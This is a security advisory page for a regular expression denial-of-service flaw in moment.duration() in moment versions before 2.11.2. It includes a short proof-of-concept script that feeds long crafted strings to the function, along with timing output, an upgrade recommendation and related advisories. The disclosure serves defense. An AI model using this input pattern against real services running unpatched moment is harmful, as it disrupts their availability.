Vulnerability GHSA-87vv-r9j6-g5qv
Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
8 years ago
October 24, 2017 at 06:33 PM UTC
Regular Expression Denial of Service in moment
1.0.0 - 2.11.1
1.0.0 - 2.11.1
Summary
Regular Expression Denial of Service in moment
Details
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
Related Vulnerabilities
Other vulnerabilities affecting the same packages
Medium Risk
5 hours ago
moment vulnerable to Path Traversal via crafted non-string locale name
2.29.2 - 2.30.1 GHSA-4p3w-j4w9-5jqw
2.29.2 - 2.30.1 GHSA-4p3w-j4w9-5jqw
High Risk
4 years ago
Moment.js vulnerable to Inefficient Regular Expression Complexity
2.18.0 - 2.29.3 GHSA-wc69-rhjr-hc9g
2.18.0 - 2.29.3 GHSA-wc69-rhjr-hc9g
High Risk
4 years ago
Path Traversal: 'dir/../../filename' in moment.locale
1.0.0 - 2.29.1 GHSA-8hfj-j24r-96c4
1.0.0 - 2.29.1 GHSA-8hfj-j24r-96c4
High Risk
8 years ago
Regular Expression Denial of Service in moment
1.0.0 - 2.19.2 GHSA-446m-mv8f-q348
1.0.0 - 2.19.2 GHSA-446m-mv8f-q348
Impacted packages
Timeline
Published
8 years ago
October 24, 2017 at 06:33 PM UTC
Fixed (2.11.2)
10 years ago
February 03, 2016 at 10:47 PM UTC
Last Modified
2 years ago
November 08, 2023 at 03:58 AM UTC